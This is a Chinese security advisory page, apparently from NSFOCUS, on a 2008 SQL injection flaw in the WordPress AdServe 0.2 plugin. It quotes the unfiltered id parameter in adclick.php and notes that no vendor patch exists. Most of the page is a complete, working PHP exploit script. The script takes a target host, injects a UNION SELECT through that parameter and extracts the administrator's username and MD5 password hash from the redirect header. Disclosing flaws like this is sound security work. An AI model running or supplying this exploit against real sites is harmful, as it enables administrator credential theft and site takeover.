安全研究
安全漏洞
WordPress AdServe插件远程SQL注入漏洞
发布日期:2008-01-30
更新日期:2008-01-31
受影响系统:
WordPress AdServe 0.2描述:
BUGTRAQ ID: 27504
WordPress是一款免费的论坛Blog系统。
WordPress的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞获取服务相关的敏感信息。
WordPress的adclick.php文件没有正确地过滤对id参数的输入:
# if (isset($_GET['id'])) {
# Header("Location: ".iri_AdServe_BannerClick($_GET['id'])
#
# -In iri_AdServe_BannerClick function
#
# return $wpdb->get_var("SELECT url FROM $table_name WHERE id=$id;");
允许远程攻击者通过注入恶意的SQL代码控制SQL查询,导致检索用户和管理员的用户名和口令。但成功攻击要求知道数据库表格前缀。
<*来源:enter_the_dragon
链接:http://secunia.com/advisories/28708/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# WordPress Adserve plugin v 0.2 Sql Injection Exploit
#
# Plugin Homepage-http://www.irisco.it/?page_id=40
#
# Found by:enter_the_dragon
#
# Vuln code
#
# -In adclick.php
#
# if (isset($_GET['id'])) {
# Header("Location: ".iri_AdServe_BannerClick($_GET['id'])
#
# -In iri_AdServe_BannerClick function
#
# return $wpdb->get_var("SELECT url FROM $table_name WHERE id=$id;");
#
#
#
# Exploit
#
# id variable isnt filtered so we can inject and check the output in the Location response-header
# If exploit is succesfull Wordpress administrators login and md5 hashed password is retrieved
#
#
echo "\n";
echo "-------WordPress Adserve plugin v 0.2 Sql Injection Exploit-------"."\n";
echo "-------------------coded by : enter_the_dragon--------------------"."\n";
echo "------------------------------------------------------------------"."\n";
if ($argc!=3)
{
echo " Usage: $argv[0] target_host wp_path \n";
echo " target_host: Your target ex www.target.com \n";
echo " wp_path: WordPress path ex /blog/ or / if wordpress is installed in the web servers root folder";
echo "\n";
exit;
}
$query=$argv[1];
$query.=$argv[2];
$query.="wp-content/plugins/wp-adserve/adclick.php?";
$query.="id=-1%20union%20select%20concat(0x7c,user_login,0x7c,user_pass,0x7c)%20from%20wp_users";
if(function_exists(curl_init))
{
$ch = curl_init("http://$query");
curl_setopt($ch, CURLOPT_HEADER,true);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_TIMEOUT,10);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)");
$html=curl_exec($ch);
$returncode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if($returncode==302)
{
$pattern="/\|(.*)?\|([a-z0-9]{32})\|/";
if(preg_match($pattern,$html,$matches))
{
$adminusername=$matches[1];
$adminpass=$matches[2];
echo "Admin Login:$adminusername\n" ;
echo "Admin Pass :$adminpass\n";
}
}
else
{
exit ("Exploit Failed :( \n");
}
}
else
exit("Error:Libcurl isnt installed \n");
?>
建议:
厂商补丁:
WordPress
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://wordpress.org/
浏览次数:4217
严重程度:0(网友投票)
绿盟科技给您安全的保障
